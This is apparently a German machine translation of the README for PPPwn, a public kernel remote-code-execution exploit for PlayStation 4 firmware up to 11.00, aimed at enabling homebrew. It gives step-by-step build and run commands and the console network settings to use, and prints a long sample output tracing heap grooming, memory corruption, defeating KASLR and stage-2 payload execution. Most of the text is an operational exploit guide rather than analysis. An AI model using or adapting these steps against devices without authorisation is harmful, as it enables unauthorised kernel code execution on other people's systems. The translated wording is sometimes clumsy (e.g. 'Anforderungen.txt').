PPPwn ist ein Kernel-Remote-Code-Execution-Exploit für PlayStation 4 bis FW 11.00. Dabei handelt es sich um einen Proof-of-Concept-Exploit für CVE-2006-4304, der verantwortungsvoll an PlayStation gemeldet wurde.
Unterstützte Versionen sind:
FW 7.00 / 7.01 / 7.02
FW 7,50 / 7,51 / 7,55
FW 8.00 / 8.01 / 8.03
FW 8,50 / 8,52
FW 9.00
FW 9.03 / 9.04
FW 9,50 / 9,51 / 9,60
FW 10.00 / 10.01
FW 10,50 / 10,70 / 10,71
FW 11.00
Weitere können hinzugefügt werden (PRs sind willkommen)
Der Exploit druckt PPPwned
nur als Proof-of-Concept auf Ihrer PS4. Um Mira oder ähnliche Homebrew-Enabler zu starten, muss die Nutzlast stage2.bin
angepasst werden.
Ein Computer mit einem Ethernet-Anschluss
USB-Adapter funktioniert auch
Ethernet-Kabel
Linux
Sie können VirtualBox verwenden, um eine Linux-VM mit Bridged Adapter
als Netzwerkadapter zu erstellen, um den Ethernet-Port in der VM zu verwenden.
Python3 und gcc installiert
Klonen Sie das Repository auf Ihrem Computer:
git clone --recursive https://github.com/TheOfficialFloW/PPPwn
Ändern Sie das Verzeichnis in das geklonte Repository:
cd PPPwn
Installieren Sie die Anforderungen:
sudo pip install -r Anforderungen.txt
Kompilieren Sie die Nutzlasten:
make -C stage1 FW=1100 clean && make -C stage1 FW=1100 make -C stage2 FW=1100 clean && make -C stage2 FW=1100
Für andere Firmwares, z. B. FW 9.00, übergeben Sie FW=900
.
Führen Sie den Exploit noch NICHT aus (drücken Sie noch nicht die Eingabetaste), sondern bereiten Sie diesen Befehl an Ihrer Eingabeaufforderung vor (siehe ifconfig
für die richtige Schnittstelle):
sudo python3 pppwn.py --interface=enp0s3 --fw=1100
Für andere Firmwares, z. B. FW 9.00, übergeben Sie --fw=900
.
Auf deiner PS4:
Gehen Sie zu Settings
und dann Network
Wählen Sie Set Up Internet connection
und dann Use a LAN Cable
Wählen Sie Custom
Setup“ und wählen Sie PPPoE
für IP Address Settings
Geben Sie etwas für PPPoE User ID
und PPPoE Password
ein
Wählen Sie Automatic
für DNS Settings
und MTU Settings
Wählen Sie Do Not Use
für Proxy Server
verwenden“.
Drücken Sie nun gleichzeitig die „X“-Taste auf Ihrem Controller bei Test Internet Connection
und „Enter“ auf Ihrer Tastatur (auf dem Computer steht Ihr Python-Skript zur Ausführung bereit).
Warten Sie IMMER, bis die Konsole die Meldung „Verbindung zum Netzwerk nicht möglich: (NW-31274-7)“ anzeigt, bevor Sie diese PPPOE-Injektion erneut versuchen.
Wenn der Exploit fehlschlägt oder die PS4 abstürzt, können Sie die Interneteinrichtung überspringen und einfach auf Test Internet Connection
klicken. Beenden Sie das pppwn.py
-Skript und führen Sie es erneut auf Ihrem Computer aus. Klicken Sie dann immer gleichzeitig auf Test Internet Connection
auf Ihrer PS4.
Wenn der Exploit funktioniert, sollten Sie eine Ausgabe ähnlich der folgenden sehen und sehen Cannot connect to network.
gefolgt von PPPwned
das auf Ihrer PS4 gedruckt wird, oder umgekehrt.
[+] PPPwn – PlayStation 4 PPPoE RCE von theflow [+] args: interface=enp0s3 fw=1100 stage1=stage1/stage1.bin stage2=stage2/stage2.bin [+] STUFE 0: Initialisierung [*] Warten auf PADI... [+] pppoe_softc: 0xffffabd634beba00 [+] Ziel-MAC: xx:xx:xx:xx:xx:xx [+] Quell-MAC: 07:ba:be:34:d6:ab [+] AC-Cookie-Länge: 0x4e0 [*] PADO wird gesendet... [*] Warten auf PADR... [*] PADS werden gesendet... [*] Warten auf LCP-Konfigurationsanfrage... [*] LCP-Konfigurationsbestätigung wird gesendet... [*] LCP-Konfigurationsanfrage wird gesendet... [*] Warten auf LCP-Konfigurationsbestätigung ... [*] Warten auf IPCP-Konfigurationsanfrage... [*] IPCP-Konfigurations-NAK wird gesendet... [*] Warten auf IPCP-Konfigurationsanfrage... [*] IPCP-Konfigurationsbestätigung wird gesendet... [*] IPCP-Konfigurationsanfrage wird gesendet... [*] Warten auf IPCP-Konfigurationsbestätigung ... [*] Warten darauf, dass die Schnittstelle bereit ist ... [+] Ziel-IPv6: fe80::2d9:d1ff:febc:83e4 [+] Heap-Grooming ... fertig [+] STUFE 1: Speicherbeschädigung [+] Pinning an CPU 0...fertig [*] Es wird eine böswillige LCP-Konfigurationsanfrage gesendet … [*] Warten auf LCP-Konfigurationsanfrage... [*] LCP-Konfigurations-ACK wird gesendet... [*] LCP-Konfigurationsanfrage wird gesendet... [*] Warten auf LCP-Konfigurationsbestätigung ... [*] Warten auf IPCP-Konfigurationsanfrage... [*] IPCP-Konfigurations-NAK wird gesendet... [*] Warten auf IPCP-Konfigurationsanfrage... [*] IPCP-Konfigurationsbestätigung wird gesendet... [*] IPCP-Konfigurationsanfrage wird gesendet... [*] Warten auf IPCP-Konfigurationsbestätigung... [+] Suche nach beschädigtem Objekt...fe80::0fdf:4141:4141:4141 gefunden [+] STUFE 2: KASLR-Niederlage [*] KASLR besiegen... [+] pppoe_softc_list: 0xffffffff884de578 [+] kaslr_offset: 0x3ffc000 [+] STUFE 3: Remote-Codeausführung [*] Es wird eine LCP-Beendigungsanforderung gesendet... [*] Warten auf PADI... [+] pppoe_softc: 0xffffabd634beba00 [+] Ziel-MAC: xx:xx:xx:xx:xx:xx [+] Quell-MAC: 97:df:ea:86:ff:ff [+] AC-Cookie-Länge: 0x511 [*] PADO wird gesendet... [*] Warten auf PADR... [*] PADS werden gesendet... [*] Codeausführung auslösen... [*] Warten auf die Fortsetzung von Stufe 1 ... [*] PADT wird gesendet... [*] Warten auf PADI... [+] pppoe_softc: 0xffffabd634be9200 [+] Ziel-MAC: xx:xx:xx:xx:xx:xx [+] AC-Cookie-Länge: 0x0 [*] PADO wird gesendet... [*] Warten auf PADR... [*] PADS werden gesendet... [*] Warten auf LCP-Konfigurationsanfrage... [*] LCP-Konfigurationsbestätigung wird gesendet... [*] LCP-Konfigurationsanfrage wird gesendet... [*] Warten auf LCP-Konfigurationsbestätigung ... [*] Warten auf IPCP-Konfigurationsanfrage... [*] IPCP-Konfigurations-NAK wird gesendet... [*] Warten auf IPCP-Konfigurationsanfrage... [*] IPCP-Konfigurationsbestätigung wird gesendet... [*] IPCP-Konfigurationsanfrage wird gesendet... [*] Warten auf IPCP-Konfigurationsbestätigung... [+] STUFE 4: Beliebige Nutzlastausführung [*] Stage2-Nutzlast wird gesendet... [+] Fertig!
Der Code lässt sich nicht auf Apple Silicon kompilieren und erfordert eine AMD64-Architektur. Es gibt eine Problemumgehung mithilfe von Docker, der die erforderlichen Bin-Dateien erstellt. Klonen Sie dieses Repository auf Ihr Mac-System und führen Sie dann im Repo-Ordner ./build-macarm.sh
aus. Dadurch werden die Binärdateien für PS4 FW 1100 erstellt und die erforderlichen Dateien in den richtigen Ordnern abgelegt. Um die Binärdateien für eine andere Version, z. B. 900, zu erstellen, führen Sie den folgenden Befehl aus: ./build-macarm.sh 900
. Kopieren Sie diese Ordnerstruktur nach der Erstellung in die Linux-VM und führen Sie sie wie oben beschrieben aus. Dies wurde mit VMware Fusion 13.5.1 getestet, mit dem VM Guest als Ubuntu 24.04 und der Hostmaschine ist MacOS 14.4.1